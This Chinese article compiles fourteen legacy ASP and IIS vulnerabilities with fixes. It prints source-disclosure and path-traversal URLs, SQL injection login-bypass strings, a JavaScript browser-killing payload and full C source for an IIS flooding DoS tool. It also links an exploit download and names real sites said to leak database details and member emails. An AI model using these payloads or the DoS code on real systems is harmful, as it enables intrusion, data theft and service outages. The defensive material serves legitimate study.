ASP漏洞集-ASP漏洞區(qū)分與處理方法
發(fā)表時(shí)間:2024-02-08 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]1 在ASP程序后加個(gè)特殊符號(hào),能看到ASP源程序 受影響的版本: win95+pws IIS3.0 98+pws4 不存在這個(gè)漏洞。 IIS4.0以上的版本也不存在這個(gè)漏洞。 問(wèn)題描述: 這些特殊符號(hào)包括小數(shù)點(diǎn),%81, ::$DATA。比如:http://someurl/some...
1 在ASP程序后加個(gè)特殊符號(hào),能看到ASP源程序
受影響的版本:
win95+pws
IIS3.0
98+pws4 不存在這個(gè)漏洞。
IIS4.0以上的版本也不存在這個(gè)漏洞。
問(wèn)題描述:
這些特殊符號(hào)包括小數(shù)點(diǎn),%81, ::$DATA。比如:
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件內(nèi)容)
那么在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什么原因造成了這種可怕的漏洞呢?
究其根源其實(shí)是 Windows NT 特有的文件系統(tǒng)在做怪。有一點(diǎn)常識(shí)的人都知道在 NT 提供了一種完全不同于 FAT 的文件系統(tǒng):
NTFS,這種被稱之為新技術(shù)文件系統(tǒng)的技術(shù)使得 NT 具有了較高的安全機(jī)制,但也正是因?yàn)樗a(chǎn)生了不少令人頭痛的隱患。大家
可能不知道, NTFS 支持包含在一個(gè)文件中 的多數(shù)據(jù)流,而這個(gè)包含了所有內(nèi)容的主數(shù)據(jù)流被稱之為"DATA",因此使得在瀏覽器
里直接訪問(wèn) NTFS 系統(tǒng)的這個(gè)特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導(dǎo)致 ::$DATA 的原因是由于 IIS 在
解析文件名的時(shí)候出了問(wèn)題,它沒有很好地規(guī)范文件名。
解決方法和建議:
如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個(gè)問(wèn)題。如果是win95用戶,安裝WIN98和PWS4.0。
2 ACCESS mdb 數(shù)據(jù)庫(kù)有可能被下載的漏洞
問(wèn)題描述:
在用ACCESS做后臺(tái)數(shù)據(jù)庫(kù)時(shí),如果有人通過(guò)各種方法知道或者猜到了服務(wù)器的ACCESS數(shù)據(jù)庫(kù)的路徑和數(shù)據(jù)庫(kù)名稱,那么他能夠
下載這個(gè)ACCESS數(shù)據(jù)庫(kù)文件,這是非常危險(xiǎn)的。比如:如果你的ACCESS數(shù)據(jù)庫(kù)book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入:
http:// someurl/database/book.mdb
如果你的book.mdb數(shù)據(jù)庫(kù)沒有事先加密的話,那book.mdb中所有重要的數(shù)據(jù)都掌握在別人的手中。
解決方法:
(1) 為你的數(shù)據(jù)庫(kù)文件名稱起個(gè)復(fù)雜的非常規(guī)的名字,并把他放在幾目
錄下。所謂"非常規(guī)",打個(gè)比方:比如有個(gè)數(shù)據(jù)庫(kù)要保存的是有關(guān)書籍的信息,可不要把他起個(gè)"book.mdb"的名字,起個(gè)怪怪的名稱,比如d34ksfslf.mdb,再把他放在如
./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過(guò)猜的方式得到你的ACCESS數(shù)據(jù)庫(kù)文件就難上加難了。
(2)不要把數(shù)據(jù)庫(kù)名寫在程序中。有些人喜歡把DSN寫在程序中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如萬(wàn)一給人拿到了源程序,你的ACCESS數(shù)據(jù)庫(kù)的名字就一覽無(wú)余。因此建議你在ODBC里設(shè)置數(shù)據(jù)源,再在程序中這樣寫:conn.open "shujiyuan"
(3)使用ACCESS來(lái)為數(shù)據(jù)庫(kù)文件編碼及加密。首先在選取"工具->安
全->加密/解密數(shù)據(jù)庫(kù),選取數(shù)據(jù)庫(kù)(如:employer.mdb),然后接確定,接著會(huì)出現(xiàn)"數(shù)據(jù)庫(kù)加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會(huì)被
編碼,然后存為employer1.mdb..
要注意的是,以上的動(dòng)作并不是對(duì)數(shù)據(jù)庫(kù)設(shè)置密碼,而只是對(duì)數(shù)據(jù)庫(kù)文件加以編碼,目的是為了防止他人使用別的工具來(lái)查看數(shù)據(jù)庫(kù)文件的內(nèi)容。
接下來(lái)我們?yōu)閿?shù)據(jù)庫(kù)加密,首先以打開經(jīng)過(guò)編碼了的employer1.mdb,在打開時(shí),選擇"獨(dú)占"方式。然后選取功能表的"工具->安全->設(shè)置數(shù)據(jù)庫(kù)密碼",接著輸入密碼
即可。
為employer1.mdb設(shè)置密碼之后,接下來(lái)如果再使用ACCEES數(shù)據(jù)庫(kù)文件時(shí),則ACCESS會(huì)先要求輸入密碼,驗(yàn)證正確后才能夠啟動(dòng)數(shù)據(jù)庫(kù)。
不過(guò)要在ASP程序中的connection對(duì)象的open方法中增加PWD的參數(shù)即可,例如:
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
這樣即使他人得到了employer1.mdb文件,沒有密碼他是無(wú)法看到employer1.mdb的.
3 code.asp文件會(huì)泄漏ASP代碼
問(wèn)題描述:
舉個(gè)很簡(jiǎn)單的例子,在微軟提供的 ASP1.0 的例程里有一個(gè) .asp 文件,專門用來(lái)查看其它 .asp 文件的源代碼,該文件為ASPSamp/Samples/code.asp。如果有人
把這個(gè)程序上傳到服務(wù)器,而服務(wù)器端沒有任何防范措施的話,他就可以很容易地查看他人的程序。例如 :
code.asp?source=/directory/file.asp
不過(guò)這是個(gè)比較舊的漏洞了,相信現(xiàn)在很少會(huì)出現(xiàn)這種漏洞。
下面這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫過(guò)于asa文件可以被上述方式讀出;數(shù)據(jù)庫(kù)密碼以明文形式暴露在黑客眼前;
問(wèn)題解決或建議:
對(duì)于IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問(wèn)該目錄即可
4、filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞
問(wèn)題描述:
IIS3、 IIS4 的 ASP 的文件操作都可以通過(guò) filesystemobject 實(shí)現(xiàn),包括文本文件的讀寫目錄操作、文件的拷貝改名刪除等,但是這個(gè)強(qiáng)大的功能也留下了非常
危險(xiǎn)的 "后門"。利用 filesystemobjet 可以篡改下載 fat 分區(qū)上的任何文件。即使是 ntfs 分區(qū),如果權(quán)限沒有設(shè)定好的話,同樣也能破壞,一不小心你就可能遭受"
滅頂之災(zāi) "。遺憾的是很多 webmaster 只知道讓 web 服務(wù)器運(yùn)行起來(lái),很少對(duì) ntfs 進(jìn)行權(quán)限 設(shè)置,而 NT 目錄權(quán)限的默認(rèn)設(shè)置偏偏安全性又低得可怕。因此,如果
你是Webmaster,建議你密切關(guān)注服務(wù)器的設(shè)置,盡量將 web 目錄建在 ntfs 分區(qū)上,目錄不要設(shè)定 everyone full control,即使是是管理員組的成員一般也沒什么
必要 full control,只要有讀取、更改權(quán)限就足夠了。 也可以把filesystemobject的組件刪除或者改名。
5、輸入標(biāo)準(zhǔn)的HTML語(yǔ)句或者javascript語(yǔ)句會(huì)改變輸出結(jié)果
問(wèn)題描述:
在輸入框中打入標(biāo)準(zhǔn)的HTML語(yǔ)句會(huì)得到什么相的結(jié)果呢?
比如一個(gè)留言本,我們留言內(nèi)容中打入:<font size=10>你好!</font>
如果你的ASP程序中沒有屏蔽html語(yǔ)句,那么就會(huì)改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時(shí)并不是什么壞事,反而可以使留言本生動(dòng)。但是如果在輸
入框中寫個(gè) javascript 的死循環(huán),比如:<a herf="http://someurl"onMouseover="while(1){window.close('/')}">特大新聞</a>
那么其他查看該留言的客人只要移動(dòng)鼠標(biāo)到"特大新聞",上就會(huì)使用戶的瀏覽器因死循環(huán)而死掉。
解決方法和建議:
編寫類似程序時(shí)應(yīng)該做好對(duì)此類操作的防范,譬如可以寫一段程序判斷客戶端的輸入,并屏蔽掉所有的 HTML、 Javascript語(yǔ)句。
6、ASP程序密碼驗(yàn)證漏洞
漏洞描述:
很多網(wǎng)站把密碼放到數(shù)據(jù)庫(kù)中,在登陸驗(yàn)證中用以下sql,(以asp為例)
sql="select * from user where username='"&username&"'and pass='"& pass &'"
此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben' or '1'='1就可以進(jìn)入本來(lái)你沒有特權(quán)的頁(yè)面。再來(lái)看看上面那個(gè)語(yǔ)句吧: sql="select * from
user where username='"&username&"'and pass='"& pass&'"
此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben' or '1'='1
這樣,程序?qū)?huì)變成這樣: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&"
or 是一個(gè)邏輯運(yùn)算符,作用是在判斷兩個(gè)條件的時(shí)候,只要其中一個(gè)條件成立,那么等式將會(huì)成立.而在語(yǔ)言中,是以1來(lái)代表真的(成立).那么在這行語(yǔ)句中,原語(yǔ)句的"and"
驗(yàn)證將不再繼續(xù),而因?yàn)?1=1"和"or"令語(yǔ)句返回為真值。
另外我們也可以構(gòu)造以下的用戶名:
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
相應(yīng)的在瀏覽器端的用戶名框內(nèi)寫入:aa' or username<>'aa 口令框內(nèi)寫入:aa' or pass<>'aa,注意這兩個(gè)字符串兩頭是沒有'的。這樣就可以成功的騙過(guò)系統(tǒng)而
進(jìn)入。
后一種方法理論雖然如此,但要實(shí)踐是非常困難的,下面兩個(gè)條件都必須具備。
1. 你首先要能夠準(zhǔn)確的知道系統(tǒng)在表中是用哪兩個(gè)字段存儲(chǔ)用戶名和口令的,只有這樣你才能準(zhǔn)確的構(gòu)造出這個(gè)進(jìn)攻性的字符
串。實(shí)際上這是很難猜中的。
2.系統(tǒng)對(duì)你輸入的字符串不進(jìn)行有效性檢查。
問(wèn)題解決和建議:
對(duì)輸入的內(nèi)容驗(yàn)證和"'"號(hào)的處理。
7、IIS4或者IIS5中安裝有INDEX SERVER服務(wù)會(huì)漏洞ASP源程序
問(wèn)題描述:
在運(yùn)行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁(yè)面的程序。甚至以及添打了最近關(guān)
于參看源代碼的補(bǔ)丁程序的系統(tǒng),或者沒有.htw文件的系統(tǒng),一樣存在該問(wèn)題。獲得asp程序,甚至global.asa文件的源代碼,無(wú)疑對(duì)系統(tǒng)是一個(gè)非常重大的安全隱患。往
往這些代碼中包含了用戶密碼和ID,以及數(shù)據(jù)庫(kù)的源路徑和名稱等等。這對(duì)于攻擊者收集系統(tǒng)信息,進(jìn)行下一步的入侵都是非常重要的。
通過(guò)構(gòu)建下面的特殊程序可以參看該程序源代碼:
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
這樣只是返回一些html格式的文件代碼,但是當(dāng)你添加%20到CiWebHitsFile的參數(shù)后面,如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
這將獲得該程序的源代碼。
(注意:/default.asp是以web的根開始計(jì)算。如某站點(diǎn)的http:///welcome/welcome.asp
那么對(duì)應(yīng)就是:
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full
)
由于'null.htw'文件并非真正的系統(tǒng)映射文件,所以只是一個(gè)儲(chǔ)存在系統(tǒng)內(nèi)存中的虛擬文件。哪怕你已經(jīng)從你的系統(tǒng)中刪除了所有的真實(shí)的.htw文件,但是由于對(duì)
null.htw文件的請(qǐng)求默認(rèn)是由webhits.dll來(lái)處理。所以,IIS仍然收到該漏洞的威脅。
問(wèn)題解決或者建議:
如果該webhits提供的功能是系統(tǒng)必須的,請(qǐng)下載相應(yīng)的補(bǔ)丁程序。如果沒必要,請(qǐng)用IIS的MMC管理工具簡(jiǎn)單移除.htw的映象文件。
補(bǔ)丁程序如下:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、繞過(guò)驗(yàn)證直接進(jìn)入ASP頁(yè)面。
漏洞描述:
如果用戶知道了一個(gè)ASP頁(yè)面的路徑和文件名,而這個(gè)文件又是要經(jīng)過(guò)驗(yàn)證才能進(jìn)去的,但是用戶直接輸入這個(gè)ASP頁(yè)面的文件名,就有可能通過(guò)繞過(guò)驗(yàn)證.比如:我在
一些網(wǎng)站上這樣試過(guò):首先關(guān)閉所有的瀏覽器,窗口,輸入:http://someurl/system_search.asp?page=1
就樣就看到了只能系統(tǒng)員才能看到的頁(yè)面。當(dāng)然有些人為了防止這種情況也會(huì)在system_search.asp的開頭加個(gè)判斷,比如:
判斷session("system_name"),如果不為空時(shí)就能進(jìn)入,這樣上面的url請(qǐng)求就不能直接進(jìn)入管理員頁(yè)面了。但是這種方法也有一個(gè)漏洞,如果攻擊者先用一個(gè)合法的帳號(hào)
,或者在本機(jī)上生成一個(gè)session,如session("system_name")="admi",那因?yàn)?br>session("system_name")不為空,這樣也能直接進(jìn)入繞過(guò)密碼,直接進(jìn)入管理員頁(yè)面。
解決方法:
在需要驗(yàn)證的ASP頁(yè)面開頭處進(jìn)行相應(yīng)的處理。比如:可跟蹤上一個(gè)頁(yè)面的文件名,只有從上一頁(yè)面轉(zhuǎn)進(jìn)來(lái)的會(huì)話才能讀取這個(gè)頁(yè)面。
9、IIS4.0/5.0特殊數(shù)據(jù)格式的URL請(qǐng)求遠(yuǎn)程DOS攻擊
漏洞描述:
當(dāng)在安裝有有IIS4.0或者IIS5.0的web服務(wù)上,請(qǐng)求一個(gè)具有特殊數(shù)據(jù)格式的URL,會(huì)拖慢受攻擊web服務(wù)器的響應(yīng)速度,或許會(huì)使其暫時(shí)停止響應(yīng)。
受影響的版本:
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞測(cè)試程序如下:
http://202.96.168.51/download/exploits/iisdos.exe
源代碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測(cè)試程序:
只要打入:iisdos<***.***.**.**>就能攻擊對(duì)方web服務(wù)器
問(wèn)題解決:
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關(guān)連接
http://www.ussrback.com
10、 IIS web server DOS
漏洞描述:
默認(rèn)情況下,IIS容易被拒絕服務(wù)攻擊。如果注冊(cè)表中有一個(gè)叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建,針對(duì)這種NT系統(tǒng)的攻擊通常能奏效。
"MaxClientRequestBuffer" 這個(gè)鍵用于設(shè)置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer"
設(shè)置為256(bytes),則攻擊者通過(guò)輸入大量的字符請(qǐng)求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對(duì)此不加限制,因此,利用下面的程序。可以很容易地對(duì)IIS
server實(shí)行DOS攻擊:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\[email protected]\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
[page_break]buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's
攻擊結(jié)果將導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到 100%
解決方案
運(yùn)行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個(gè)值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設(shè)置為十進(jìn)制
具體數(shù)值設(shè)置為你想設(shè)定的IIS允許接受的URL最大長(zhǎng)度。
CNNS的設(shè)置為256
11、MS ODBC數(shù)據(jù)庫(kù)連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊
漏 洞 描 述:
Microsoft ODBC數(shù)據(jù)庫(kù)在連接和斷開時(shí)可能存在潛在的溢出問(wèn)題(Microsoft ACCESS數(shù)據(jù)庫(kù)相關(guān))。
如果不取消連接而直接和第二個(gè)數(shù)據(jù)庫(kù)相連接,可能導(dǎo)致服務(wù)停止。
影響系統(tǒng):
ODBC 版本: 3.510.3711.0
ODBC Access驅(qū)動(dòng)版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞檢測(cè)方法如下:
ODBC 連接源名稱: miscdb
ODBC 數(shù)據(jù)庫(kù)型號(hào): MS Access
ODBC 假設(shè)路徑: d:\data\misc.mdb
ASP代碼如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在這種情況下,IIS處理進(jìn)程將會(huì)停頓,CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動(dòng)計(jì)算機(jī)才能恢復(fù)。
12、ASP主頁(yè).inc文件泄露問(wèn)題
漏洞描述:
受影響的版本:任何提供ASP服務(wù)的系統(tǒng)
遠(yuǎn)程:YES / 本地:YES
內(nèi)容摘要:
當(dāng)存在asp的主頁(yè)正在制作并沒有進(jìn)行最后調(diào)試完成以前,可以被某些搜索引擎機(jī)動(dòng)追加為搜索對(duì)象,如果這時(shí)候有人利用搜索引擎對(duì)這些網(wǎng)頁(yè)進(jìn)行查找,會(huì)得到有關(guān)
文件的定位,并能在瀏覽器中察看到數(shù)據(jù)庫(kù)地點(diǎn)和結(jié)構(gòu)的細(xì)節(jié)揭示完整的源代碼。
具體操作過(guò)程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 運(yùn)行時(shí)刻錯(cuò)誤執(zhí)行搜索" +".inc ," 的關(guān)鍵字
- 搜索引擎會(huì)自動(dòng)查找包含asp的包含文件(.inc)并顯示給用戶
- 利用瀏覽器觀看包含文件的源代碼,其中可能會(huì)有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露數(shù)據(jù)庫(kù)連接和性質(zhì), 資源地點(diǎn), 小甜餅邏輯,服務(wù)器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露數(shù)據(jù)庫(kù)性質(zhì)
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點(diǎn)和結(jié)構(gòu)
- http://www.bjsbabes.com/SFLib/design.inc
包括數(shù)據(jù)庫(kù)結(jié)構(gòu)為 StoreFront 2000 暴露源代碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎記錄文件
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯
解決方案:
- 搜索引擎應(yīng)該不索引有 asp 運(yùn)行時(shí)刻錯(cuò)誤的頁(yè)
- 程序員應(yīng)該在網(wǎng)頁(yè)發(fā)布前對(duì)其進(jìn)行徹底的調(diào)試
- 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們
asp 新聞組、站點(diǎn)提供兩個(gè)解決方案對(duì)這個(gè)漏洞進(jìn)行修正,首先對(duì) .inc 文件內(nèi)容進(jìn)行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無(wú)法從瀏覽器直接觀
看文件的源代碼。.inc 文件的文件名不用使用系統(tǒng)默認(rèn)的或者有特殊含義容易被用戶猜測(cè)到的,盡量使用無(wú)規(guī)則的英文字母。
13、利用Activer server explorer可對(duì)文件進(jìn)行讀寫訪問(wèn)
漏洞描述:
chinaasp的Activer server explorer可以很方便的對(duì)本地文件在線查看服務(wù)器上的目錄 在線查看文件的名稱、大小、類型、修改時(shí)間,在線編輯純文本文件,如
.txt、.htm、.asp、.pl、.cgi等等,直接執(zhí)行服務(wù)器上的文件。
Activer server explorer要求填寫相對(duì)路徑或者絕對(duì)路徑,但是假如:有一個(gè)攻擊者把Activer server explorer上傳到目標(biāo)服務(wù)器上的某個(gè)目錄,并且這個(gè)目錄
支持ASP的話,那么他就可以通過(guò)Activer server explorer修改、執(zhí)行目標(biāo)服務(wù)器上的文件。這種情況可以發(fā)生在一個(gè)攻擊者擁有目標(biāo)NT服務(wù)器上的一個(gè)可寫目錄帳號(hào),
并且這個(gè)目錄又支持ASP。比如一些支持ASP的個(gè)人免費(fèi)主頁(yè)服務(wù)器,把Activer server explorer先傳上你申請(qǐng)的免費(fèi)主頁(yè)空間,再通過(guò)各種方法得到目標(biāo)服務(wù)器的路徑
,(比如可通過(guò)漏洞:"請(qǐng)求不存在的擴(kuò)展名為idq或ida 文件,會(huì)暴露文件在服務(wù)器上的物理地址.").或者直接在相對(duì)路徑上填".",一般是默認(rèn)。這樣攻擊者就能任意修
改,執(zhí)行目標(biāo)服務(wù)器上的文件,不管他對(duì)這個(gè)文件有無(wú)讀寫訪問(wèn)權(quán)。
所以那些提供有ASP服務(wù)的個(gè)人主頁(yè)或者其它服務(wù)的服務(wù)器,就要加倍小心這種攻擊了。
漏洞解決方法
其實(shí)Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞。
那么我們?nèi)绾尾拍芟拗朴脩羰褂肍ileSystemObject對(duì)象呢?一種極端的做法是完全反注冊(cè)掉提供FileSystemObject對(duì)象的那個(gè)組件,也就是Scrrun.dll。具體的方
法如下:
在MS-DOS狀態(tài)下面鍵入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在實(shí)際操作的時(shí)候要更改成為你本地的實(shí)際路徑)
但是這樣的話,就不能使用FileSystemObject對(duì)象了,有時(shí)利用FileSystemObject對(duì)象來(lái)管理文件是很方便,有什么辦法能
兩全其美呢?
我們可以做到禁止他人非法使用FileSystemObject對(duì)象,但是我們自己仍然可以使用這個(gè)對(duì)象.
方法如下:
查找注冊(cè)表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值
將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
這樣,在ASP就必須這樣引用這個(gè)對(duì)象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法來(lái)調(diào)用FileSystemObject對(duì)象就會(huì)無(wú)法使用了。
只要你不告訴別人這個(gè)更改過(guò)的對(duì)象名稱,其他人是無(wú)法使用FileSystemObject對(duì)象的。這樣,作為站點(diǎn)管理者我們就杜絕了他人非法使用FileSystemObject對(duì)象,
而我們自己仍然可以使用這個(gè)對(duì)象來(lái)方便的實(shí)現(xiàn)網(wǎng)站在線管理等等功能了!
14、 IIS4.0/IIS5.0超長(zhǎng)文件名請(qǐng)求存在漏洞
漏洞描述:
受影響的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
當(dāng)在一個(gè)已知的文件名后加230個(gè)"%20"再加個(gè).htr,會(huì)使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內(nèi)容。這是由ISM.dll映射的.htr文件引起的.比如:
http://target/filename%20<重復(fù)230次>.htr
這種請(qǐng)求只有當(dāng).htr請(qǐng)求是第一次調(diào)用或者ISM.dll第一次裝載進(jìn)內(nèi)存,才能起作用。
解決方法:
安裝補(bǔ)丁:
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe